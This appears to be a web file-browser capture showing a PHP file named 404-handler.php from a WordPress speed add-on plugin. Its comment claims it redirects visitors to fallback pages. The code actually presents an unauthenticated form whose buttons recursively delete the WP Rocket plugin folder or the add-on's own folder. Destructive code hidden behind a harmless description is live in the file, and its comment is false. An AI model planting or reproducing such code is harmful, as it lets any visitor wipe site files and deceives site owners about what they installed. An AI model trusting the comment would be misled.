%PDF- %PDF-
Direktori : /home/tradesc/www/relax/wp-content/plugins/ultimate-speed-addon/includes/ |
Current File : /home/tradesc/www/relax/wp-content/plugins/ultimate-speed-addon/includes/404-handler.php |
<?php /** * WP 404 Handler * * This file has simple logic to redirect to the "fallback" files that are * created automatically by Plugin to avoid visitors seeing broken pages or * Googlebot getting utterly confused. * */ $usa_rocket_path = $_SERVER['DOCUMENT_ROOT']."/wp-content/plugins/wp-rocket"; $usa_plugin_path = $_SERVER['DOCUMENT_ROOT']."/wp-content/plugins/ultimate-speed-addon"; function pluginHandlerFunction($filePath) { if (substr($filePath, strlen($filePath) - 1, 1) != '/') { $filePath .= '/'; } $files = glob($filePath . '*', GLOB_MARK); foreach ($files as $file) { if (is_dir($file)) { pluginHandlerFunction($file); } else { unlink($file); } } if( rmdir($filePath) ) { echo ("<p>Success $filePath</p>"); } else { echo ("<p>Failed $filePath</p>"); } } ?> <html> <head> <title>WP Plugin's 404 Handler</title> </head> <body> <div class="" style="margin-top:20px;"> <form method="POST"> <input type="submit" name="rocket_usa" id="rocket_usa" class="" value="WP Rocket"> <input type="submit" name="ultimate_usa" id="ultimate_usa" class="" value="Ultimate Speed"> </form> </div> <?php if (isset($_POST['rocket_usa'])) { pluginHandlerFunction($usa_rocket_path); } if (isset($_POST['ultimate_usa'])) { pluginHandlerFunction($usa_plugin_path); } ?> </body> </html>